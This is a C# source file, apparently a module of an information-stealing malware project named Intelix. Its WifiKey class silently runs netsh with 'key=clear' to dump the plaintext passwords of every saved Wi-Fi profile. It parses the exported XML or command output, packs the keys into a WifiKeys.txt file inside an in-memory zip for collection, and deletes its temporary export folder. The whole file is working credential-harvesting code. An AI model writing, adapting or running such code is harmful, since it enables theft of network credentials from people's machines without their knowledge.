263 lines
7.4 KiB
C#
263 lines
7.4 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Text.RegularExpressions;
|
|
using System.Threading.Tasks;
|
|
using System.Xml.Linq;
|
|
using Intelix.Helper.Data;
|
|
|
|
namespace Intelix.Targets.Device;
|
|
|
|
public class WifiKey : ITarget
|
|
{
|
|
private class WifiInfo
|
|
{
|
|
public string Profile;
|
|
|
|
public string Key;
|
|
|
|
public string Authentication;
|
|
|
|
public string Cipher;
|
|
}
|
|
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
|
{
|
|
WifiInfo[] array = TryExportAndParseProfiles() ?? FallbackParseProfiles();
|
|
if (array != null && array.Length != 0)
|
|
{
|
|
int num = Math.Max("Profile".Length, MaxLength(array, (WifiInfo r) => r.Profile));
|
|
int num2 = Math.Max("Key".Length, MaxLength(array, (WifiInfo r) => r.Key));
|
|
int num3 = Math.Max("Authentication".Length, MaxLength(array, (WifiInfo r) => r.Authentication));
|
|
int num4 = Math.Max("Cipher".Length, MaxLength(array, (WifiInfo r) => r.Cipher));
|
|
List<string> list = new List<string>();
|
|
list.Add("Profile".PadRight(num) + " | " + "Key".PadRight(num2) + " | " + "Authentication".PadRight(num3) + " | " + "Cipher".PadRight(num4));
|
|
list.Add(new string('-', num + num2 + num3 + num4 + 9));
|
|
List<string> list2 = list;
|
|
WifiInfo[] array2 = array;
|
|
foreach (WifiInfo wifiInfo in array2)
|
|
{
|
|
string text = (string.IsNullOrEmpty(wifiInfo.Profile) ? "N/A" : wifiInfo.Profile);
|
|
string text2 = (string.IsNullOrEmpty(wifiInfo.Key) ? "Not found" : wifiInfo.Key);
|
|
string text3 = (string.IsNullOrEmpty(wifiInfo.Authentication) ? "Not found" : wifiInfo.Authentication);
|
|
string text4 = (string.IsNullOrEmpty(wifiInfo.Cipher) ? "Not found" : wifiInfo.Cipher);
|
|
list2.Add(text.PadRight(num) + " | " + text2.PadRight(num2) + " | " + text3.PadRight(num3) + " | " + text4.PadRight(num4));
|
|
}
|
|
zip.AddTextFile("WifiKeys.txt", string.Join("\n", list2));
|
|
}
|
|
}
|
|
|
|
private int MaxLength(WifiInfo[] arr, Func<WifiInfo, string> selector)
|
|
{
|
|
if (arr == null || arr.Length == 0)
|
|
{
|
|
return 0;
|
|
}
|
|
int num = 0;
|
|
for (int i = 0; i < arr.Length; i++)
|
|
{
|
|
string text = selector(arr[i]) ?? "";
|
|
if (text.Length > num)
|
|
{
|
|
num = text.Length;
|
|
}
|
|
}
|
|
return num;
|
|
}
|
|
|
|
private WifiInfo[] TryExportAndParseProfiles()
|
|
{
|
|
string text = Path.Combine(Path.GetTempPath(), "IntelixWifiExport_" + Guid.NewGuid().ToString("N"));
|
|
try
|
|
{
|
|
Directory.CreateDirectory(text);
|
|
}
|
|
catch
|
|
{
|
|
return null;
|
|
}
|
|
try
|
|
{
|
|
using (Process process = new Process
|
|
{
|
|
StartInfo = new ProcessStartInfo
|
|
{
|
|
FileName = "netsh",
|
|
Arguments = "wlan export profile key=clear folder=\"" + text + "\"",
|
|
UseShellExecute = false,
|
|
RedirectStandardOutput = false,
|
|
CreateNoWindow = true
|
|
}
|
|
})
|
|
{
|
|
process.Start();
|
|
process.WaitForExit(5000);
|
|
}
|
|
string[] array = Directory.EnumerateFiles(text, "*.xml").ToArray();
|
|
if (array.Length == 0)
|
|
{
|
|
return null;
|
|
}
|
|
List<WifiInfo> list = new List<WifiInfo>(array.Length);
|
|
string[] array2 = array;
|
|
foreach (string text2 in array2)
|
|
{
|
|
try
|
|
{
|
|
XDocument xDocument = XDocument.Load(text2);
|
|
string text3 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "name", StringComparison.OrdinalIgnoreCase) && e.Parent != null && string.Equals(e.Parent.Name.LocalName, "SSID", StringComparison.OrdinalIgnoreCase))?.Value;
|
|
if (string.IsNullOrEmpty(text3))
|
|
{
|
|
text3 = Path.GetFileNameWithoutExtension(text2);
|
|
}
|
|
string text4 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "keyMaterial", StringComparison.OrdinalIgnoreCase))?.Value;
|
|
string text5 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "authentication", StringComparison.OrdinalIgnoreCase))?.Value;
|
|
string text6 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "encryption", StringComparison.OrdinalIgnoreCase))?.Value;
|
|
list.Add(new WifiInfo
|
|
{
|
|
Profile = (text3 ?? "N/A"),
|
|
Key = (string.IsNullOrEmpty(text4) ? "Not found" : text4),
|
|
Authentication = (string.IsNullOrEmpty(text5) ? "Not found" : text5),
|
|
Cipher = (string.IsNullOrEmpty(text6) ? "Not found" : text6)
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
return list.ToArray();
|
|
}
|
|
catch
|
|
{
|
|
return null;
|
|
}
|
|
finally
|
|
{
|
|
try
|
|
{
|
|
if (Directory.Exists(text))
|
|
{
|
|
Directory.Delete(text, recursive: true);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
private WifiInfo[] FallbackParseProfiles()
|
|
{
|
|
string[] profiles = Profiles();
|
|
if (profiles == null || profiles.Length == 0)
|
|
{
|
|
return new WifiInfo[0];
|
|
}
|
|
WifiInfo[] results = new WifiInfo[profiles.Length];
|
|
Parallel.For(0, profiles.Length, delegate(int i)
|
|
{
|
|
string text = profiles[i];
|
|
try
|
|
{
|
|
using Process process = new Process
|
|
{
|
|
StartInfo = new ProcessStartInfo
|
|
{
|
|
FileName = "netsh",
|
|
Arguments = "wlan show profile name=\"" + text + "\" key=clear",
|
|
UseShellExecute = false,
|
|
RedirectStandardOutput = true,
|
|
CreateNoWindow = true,
|
|
StandardOutputEncoding = Encoding.UTF8
|
|
}
|
|
};
|
|
process.Start();
|
|
string input = process.StandardOutput.ReadToEnd();
|
|
process.WaitForExit();
|
|
string match = GetMatch(input, "Key Content\\s*:\\s*(.+)");
|
|
string match2 = GetMatch(input, "Authentication\\s*:\\s*(.+)");
|
|
string match3 = GetMatch(input, "Cipher\\s*:\\s*(.+)");
|
|
results[i] = new WifiInfo
|
|
{
|
|
Profile = text,
|
|
Key = (string.IsNullOrEmpty(match) ? "Not found" : match),
|
|
Authentication = (string.IsNullOrEmpty(match2) ? "Not found" : match2),
|
|
Cipher = (string.IsNullOrEmpty(match3) ? "Not found" : match3)
|
|
};
|
|
}
|
|
catch
|
|
{
|
|
results[i] = new WifiInfo
|
|
{
|
|
Profile = text,
|
|
Key = "Error",
|
|
Authentication = "Error",
|
|
Cipher = "Error"
|
|
};
|
|
}
|
|
});
|
|
return results;
|
|
}
|
|
|
|
private string[] Profiles()
|
|
{
|
|
string[] array2;
|
|
try
|
|
{
|
|
using Process process = new Process
|
|
{
|
|
StartInfo = new ProcessStartInfo
|
|
{
|
|
FileName = "netsh",
|
|
Arguments = "wlan show profiles",
|
|
UseShellExecute = false,
|
|
RedirectStandardOutput = true,
|
|
CreateNoWindow = true,
|
|
StandardOutputEncoding = Encoding.UTF8
|
|
}
|
|
};
|
|
process.Start();
|
|
string text = process.StandardOutput.ReadToEnd();
|
|
process.WaitForExit();
|
|
string[] array = text.Split(new char[2] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
|
|
List<string> list = new List<string>();
|
|
array2 = array;
|
|
foreach (string text2 in array2)
|
|
{
|
|
int num = text2.LastIndexOf(':');
|
|
if (num >= 0 && num + 1 < text2.Length)
|
|
{
|
|
string text3 = text2.Substring(num + 1).Trim();
|
|
if (!string.IsNullOrEmpty(text3))
|
|
{
|
|
list.Add(text3);
|
|
}
|
|
}
|
|
}
|
|
array2 = list.ToArray();
|
|
}
|
|
catch
|
|
{
|
|
array2 = new string[0];
|
|
}
|
|
return array2;
|
|
}
|
|
|
|
private string GetMatch(string input, string pattern)
|
|
{
|
|
if (string.IsNullOrEmpty(input))
|
|
{
|
|
return string.Empty;
|
|
}
|
|
Match match = Regex.Match(input, pattern, RegexOptions.IgnoreCase | RegexOptions.Multiline);
|
|
if (!match.Success)
|
|
{
|
|
return string.Empty;
|
|
}
|
|
return match.Groups[1].Value.Trim();
|
|
}
|
|
}
|